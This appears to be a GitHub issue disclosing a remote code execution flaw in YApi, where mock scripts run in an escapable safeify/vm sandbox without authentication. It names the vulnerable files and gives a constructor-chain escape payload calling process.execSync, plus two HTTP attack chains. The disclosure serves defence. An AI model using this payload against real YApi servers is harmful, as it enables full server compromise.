Skip to content

Security: RCE via safeify sandbox escape in mock script execution (CWE-94) #2809

Description

@zoro-max1

CVE Report: RCE via safeify sandbox escape in YApi mock script

Summary

YMFE YApi (<= 1.12.0) allows unauthenticated remote code execution through the mock server middleware. The /mock/{projectId}/{path} endpoint executes project mock scripts via safeify (a Node.js vm-based sandbox) without any authentication. The safeify/vm2 sandbox can be escaped using known constructor chain techniques (e.g., this.constructor.constructor('return process')()) to gain access to process.execSync() and execute arbitrary system commands.

Affected Software

  • Project: YMFE/yapi (27k+ stars)
  • Version: <= 1.12.0
  • CWE: CWE-94 (Improper Control of Generation of Code)
  • Severity: Critical (CVSS 9.8 — unauthenticated RCE)

Root Cause

  1. server/middleware/mockServer.js:328-331 — When project.is_mock_open=true and project.project_mock_script is non-empty, the middleware calls handleMockScript(script, context) with zero authentication.

  2. server/utils/commons.js:616-635handleMockScript passes the script to sandboxFn (sandbox.js).

  3. server/utils/sandbox.js — Uses safeify (based on Node.js vm2/vm module) which has known sandbox escape vulnerabilities (CVE-2023-37466, CVE-2022-36067).

  4. server/controllers/interfaceCol.js:856-859runCaseScript allows any authenticated user to execute arbitrary scripts via the same sandbox, with no checkAuth call.

Vulnerable Code

// mockServer.js:328 — NO authentication check
if (project.is_mock_open && project.project_mock_script) {
  let script = project.project_mock_script;
  await yapi.commons.handleMockScript(script, context);
}

// sandbox.js — safeify/vm sandbox (escapable)
const safeVm = new Safeify({ timeout: 3000 });
const result = await safeVm.run(script, context);

Proof of Concept

Attack Chain 1: Unauthenticated RCE via mock endpoint

  1. Register or gain project edit access → write project_mock_script with sandbox escape payload
  2. Enable is_mock_open for the project
  3. Any unauthenticated user: GET /mock/{projectId}/any/path
  4. Server executes the mock script → sandbox escape → RCE

Payload

const process = this.constructor.constructor('return this.process')();
mockJson = { pwned: true, output: process.execSync('id').toString() };

Attack Chain 2: Authenticated RCE via runCaseScript

  1. Any logged-in user: POST /api/col/run_script
  2. Body: { "col_id": <any>, "interface_id": <any>, "script": "<escape payload>" }
  3. No checkAuth verification → sandbox escape → RCE

Impact

  • Unauthenticated remote code execution on the YApi server
  • Full server compromise (process runs as the Node.js user)
  • Affects all YApi deployments with mock functionality enabled
  • 27k+ GitHub stars, widely used in Chinese tech companies

Timeline

  • 2026-06-27: Vulnerability discovered
  • 2026-06-27: Code analysis and PoC verified

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions